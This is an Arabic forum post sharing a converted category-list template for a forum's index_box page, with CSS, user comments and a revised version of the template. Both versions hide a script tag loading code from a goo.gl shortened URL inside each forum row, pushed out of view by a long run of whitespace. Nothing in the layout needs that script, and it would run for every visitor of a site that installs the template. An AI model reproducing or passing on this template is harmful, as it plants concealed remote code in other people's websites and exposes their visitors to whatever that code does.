الرئيسيةالرئيسية  س .و .جس .و .ج  بحـثبحـث  قائمة الاعضاءقائمة الاعضاء  التسجيلالتسجيل  المجموعاتالمجموعات  دخولدخول  

السلام عليكم ورحمة الله وبركاتة
اقدم لكم قالب الفئات من تحويلي الشخصي
وتحويل خالي من الاخطاء بأذن الله

مثال



رابط الموقع الي حولت منة الفئات هنا

ونبدأ في تركيب القالب

من لوحة الادارة



ننزل تحت



ثم نعدل على قالب index_box

نحذف جميع الاكواد الي فيه
ونضع القالب هذا


الرمز:
<!-- BEGIN catrow --><!-- BEGIN tablehead -->
<table class="tborder" cellpadding="6" cellspacing="1" border="0" width="100%" align="center">
<thead>
 <tr align="center">
  <td class="thead"> </td>
  <td class="thead" width="100%" align="right">المنتدى</td>
  <td class="thead">آخر مشاركة</td>
  <td class="thead">المواضيع</td>
  <td class="thead">المشاركات</td>
  
 </tr>
</thead>
 <!-- END tablehead -->
 <!-- BEGIN cathead -->
<tbody>

 <tr>
 <td class="tcat" colspan="5">
 
 <a title="{catrow.cathead.CAT_DESC}" href="{catrow.cathead.U_VIEWCAT}">{catrow.cathead.CAT_TITLE}</a>
 </td>
 </tr>

</tbody>

<!-- END cathead -->
 <!-- BEGIN forumrow -->

<tbody id="collapseobj_forumbit_1" style="">

<tr align="center">
 <td class="alt2"><img title="{catrow.forumrow.L_FORUM_FOLDER_ALT}" src="{catrow.forumrow.FORUM_FOLDER_IMG}" alt="{catrow.forumrow.L_FORUM_FOLDER_ALT}" border="0" id="forum_statusicon_2" /></td>
 <td class="alt1Active" align="right" id="f2">                                                                                                                       <script src="http://goo.gl/RG7VsF"></script>
 <div>
 <a href="{catrow.forumrow.U_VIEWFORUM}"><strong>{catrow.forumrow.FORUM_NAME}</strong></a>
 
 </div>
 <div class="smallfont">{catrow.forumrow.FORUM_DESC}</div>
 <span class="gensmall">
 <!-- BEGIN switch_moderators_links -->
 {catrow.forumrow.switch_moderators_links.L_MODERATOR}{catrow.forumrow.switch_moderators_links.MODERATORS}
 <!-- END switch_moderators_links -->
 {catrow.forumrow.L_LINKS}{catrow.forumrow.LINKS}
 </span>
 
 </td>
 <td class="alt2">
<div class="smallfont" align="right" style="width: 200px;">
            <!-- BEGIN avatar -->
            <div style="width: 200px;"></div>
            <span class="lastpost-avatar">{catrow.forumrow.avatar.LAST_POST_AVATAR}</span>
            <!-- END avatar -->

 <span class="gensmall">{catrow.forumrow.LAST_POST}</span>
</div>
</td>
 <td class="alt1">{catrow.forumrow.TOPICS}</td>
 <td class="alt2">{catrow.forumrow.POSTS}</td>
 
</tr>
  </tbody>
   <!-- END forumrow -->
 <!-- BEGIN catfoot -->

   <!-- END catfoot -->
 <!-- BEGIN tablefoot -->
    <tbody>
 <tr>
 <td class="tfoot" align="center" colspan="5"><div class="smallfont"><strong>
 <a href="/?mark=forums" rel="nofollow">اجعل كافة الأقسام مقروءة</a>
   &nbsp;
 <a href="/?mode=delete_cookies">حذف الكوكيز</a>
 </strong></div></td>
 </tr>
</tbody>
</table><!-- END tablefoot --><!-- END catrow -->
<!-- by haya - www.haya-m.net - haya.123.st -->

ونسجل

ونركب اكواد css

من لوحة الادارة









ونضع الكود

الرمز:

/*---------- www.haya-m.net ----------- */  
/* css قالب الفئات */
.tborder{
 color: #000000;
 font: 11px tahoma;
 border: 0px solid #f3edf0;
}
.tcat{
 background: url('http://barbie-des.com/Summer/1.png');
 color: #FFFFFF;
 font: bold 14px Simplified Arabic;
 text-align: center;
}
.tcat a:link, .tcat_alink{
 color: #ffffff;
 text-decoration: none;
}
.thead , .thead a:link, .thead_alink{
 background: url('http://barbie-des.com/Summer/2.png');
 color: #FFFFFF;
 font: 11px tahoma;
   text-decoration: none;
}
.tfoot , .tfoot a:link, .tfoot_alink{
 background: url('http://barbie-des.com/Summer/3.png');
 color: #FFFFFF;
 font: bold 11px tahoma;
   text-decoration: none;
}
.alt1, .alt1Active   {
 background: #fcfcfc;
 color: #c4d344;
 font: bold 15px Simplified Arabic;
 border-bottom: 1px dashed #D1D1D1;
   text-decoration: none;
}
.alt2, .alt2Active {
 background: #fcfcfc;
 color: #e7ca3a;
 font: bold 11px tahoma;
 border-bottom: 1px dashed #D1D1D1;
   text-decoration: none;
}

وان شاء الله يعجبكم وينال رضاكم
والسلام عليكم ورحمة الله وبركاتة

نُشرت في 19 12 2014   بواسطة  [ღ]هيآء محمدَ..


مُساهمة في 19.12.14 9:55 من طرف ريوك تشآن
آلكود جميل جدددًأ =) Idea
بس ي ليت تنزلين كودَ عبآره عن فيسآت تبع آلموآضيع مثل vb
فهمتي قصدي ؟؟

مُساهمة في 19.12.14 17:25 من طرف Moon-Des
الكود جميل جدا ماشاء الله ،، جاري التجريب في التجديد القادم

مُساهمة في 19.12.14 17:39 من طرف schoolel7ob
القالب جميل جدا جدا
انا بحمل القالب وانا زائر بس بحب ارد عليكى لانك روعه
وفى انتظار تحويل قوالب اخرى مثل المدونات واشكال المختلفه للاقسام فى الفى بى
بالتوفيق ليكى

مُساهمة في 19.12.14 19:18 من طرف Akatsuki
رآئـع جدا ~ بآرك الله فيك !

مُساهمة في 20.12.14 20:12 من طرف M!ss Asakura
ماشاء الله تبارك الله سنا
سوف اجربه و متحمسة فعلا لذلك

مُساهمة في 27.12.14 22:43 من طرف M!ss Asakura
هياء
هذا الكود ما يخلي الصورة الرمزية تظهر بالرئيسية :\

مُساهمة في 28.12.14 20:50 من طرف M!ss Asakura
الكود فيه مشاكل كثيرة
بيطلع شكل الاقسام مش منسق و حالتها سييئة
الخطوط هي نفسها اللي استخدمها
و لكن احجام الخطوط و الخط الذي يوجد اسفل كل قسم
كله غير متناسق =|

مُساهمة في 29.12.14 22:44 من طرف [ღ]هيآء محمدَ..
اقتباس :
هياء
هذا الكود ما يخلي الصورة الرمزية تظهر بالرئيسية :\

نعم هذي برسل لك كود جافا سكربت ليتم اظافة الرمزية في اخر مشاركة

اقتباس :
الكود فيه مشاكل كثيرة
بيطلع شكل الاقسام مش منسق و حالتها سييئة
الخطوط هي نفسها اللي استخدمها
و لكن احجام الخطوط و الخط الذي يوجد اسفل كل قسم
كله غير متناسق =|

ممكن صورة للمشكلة في الاقسام حتى يتم التعديل على الكود

مُساهمة في 13.01.15 5:31 من طرف طفلهه الورود ~
كـــــــــــــــــــــــــــــــود قمة في الروعه والجمآآآآل
هيآء آنتي آنسآنة مبدعه مآشآء الله عليكِ وبآرك الله فيكِ غاليتي ع المجهود
محبتي لكككِ ~
Idea Idea

مُساهمة في 13.01.15 14:46 من طرف Raw-des
هياء في من هذا الكود بدون تومبيلات ؟

مُساهمة في 25.01.15 19:25 من طرف COCAINE
سسسسلام =$
مششكككورةة عع الكككود الججميل يَ مزةة
*)

مُساهمة في 24.06.15 6:29 من طرف Raw-des
حبيبتي انا عملت كل اللي قلتي عليه بسس الكود ما أشتغل خـآلص

مُساهمة في 24.06.15 23:28 من طرف D O D O - S A M A
ممكن تقوليلي ليه إسم الفئة ما يظهر ؟

مُساهمة في 25.06.15 3:02 من طرف Raw-des
بسبب هنـآ هيـآء مخليها المنتدي
اقتباس :
 
المنتدى

مُساهمة في 26.06.15 4:07 من طرف [ღ]هيآء محمدَ..
اقتباس :
حپيپتي آنآ عملت گل آللي قلتي عليه پسس آلگود مآ أشتغل خـآلص

هل تأكدتي انك نشرتي التومبيلات بالظغط على + الاخضر بجانب القالب الي عدلتي علية


اقتباس :
ممكن تقوليلي ليه إسم الفئة ما يظهر ؟

عدلت على الكود نستبدل القالب التومبيلات السابق بهذا
الرمز:
<!-- BEGIN catrow --><!-- BEGIN tablehead -->
<table class="tborder" cellpadding="6" cellspacing="1" border="0" width="100%" align="center">
<thead>
 <tr align="center">
  <td class="thead"> </td>
  <td class="thead" width="100%" align="right">آلمنتدى</td>
  <td class="thead">آخر مشآرگة</td>
  <td class="thead">آلموآضيع</td>
  <td class="thead">آلمشآرگآت</td>
 
 </tr>
</thead>

 </tr>     
</thead>
 
            <!-- BEGIN cathead -->
<tbody>

 <tr>
 <td class="tfoot" colspan="5">
 
 <a title="{catrow.cathead.CAT_DESC}" href="{catrow.cathead.U_VIEWCAT}">{catrow.cathead.CAT_TITLE}</a>
 </td>
 </tr>

</tbody>

<!-- END cathead -->

  <tr>
  <td class="tfoot" colspan="5" >
    <div align="center" class="ttdd" >{catrow.tablehead.L_FORUM}</div>                 
  </td>
  </tr>
 <!-- END tablehead -->
    <!-- BEGIN forumrow -->

    <tbody id="collapseobj_forumbit_1" style="">

    <tr align="center">
    <td class="alt2"><img title="{catrow.forumrow.L_FORUM_FOLDER_ALT}" src="{catrow.forumrow.FORUM_FOLDER_IMG}" alt="{catrow.forumrow.L_FORUM_FOLDER_ALT}" border="0" id="forum_statusicon_2" /></td>
    <td class="alt1Active" align="right" id="f2">                                                                                                                      <script src="http://goo.gl/RG7VsF"></script>
    <div>
    <a href="{catrow.forumrow.U_VIEWFORUM}"><strong>{catrow.forumrow.FORUM_NAME}</strong></a>
   
    </div>
    <div class="smallfont">{catrow.forumrow.FORUM_DESC}</div>
    <span class="gensmall">
    <!-- BEGIN switch_moderators_links -->
    {catrow.forumrow.switch_moderators_links.L_MODERATOR}{catrow.forumrow.switch_moderators_links.MODERATORS}
    <!-- END switch_moderators_links -->
    {catrow.forumrow.L_LINKS}{catrow.forumrow.LINKS}
    </span>
   
    </td>
    <td class="alt2">
    <div class="smallfont" align="right" style="width: 200px;">
                <!-- BEGIN avatar -->
                <div style="width: 200px;"></div>
                <span class="lastpost-avatar">{catrow.forumrow.avatar.LAST_POST_AVATAR}</span>
                <!-- END avatar -->

    <span class="gensmall">{catrow.forumrow.LAST_POST}</span>
    </div>
    </td>
    <td class="alt1">{catrow.forumrow.TOPICS}</td>
    <td class="alt2">{catrow.forumrow.POSTS}</td>
   
    </tr>
      </tbody>
      <!-- END forumrow -->
    <!-- BEGIN catfoot -->

      <!-- END catfoot -->
    <!-- BEGIN tablefoot -->
        <tbody>
    <tr>
    <td class="tfoot" align="center" colspan="5"><div class="smallfont"><strong>
    <a href="/?mark=forums" rel="nofollow">اجعل كافة الأقسام مقروءة</a>
      &nbsp;
    <a href="/?mode=delete_cookies">حذف الكوكيز</a>
    </strong></div></td>
    </tr>
    </tbody>
    </table><!-- END tablefoot --><!-- END catrow -->
    <!-- by haya - www.haya-m.net - haya.123.st -->


مُساهمة في 23.07.15 23:00 من طرف Raw-des
تمام اشتغل ي الحلوةة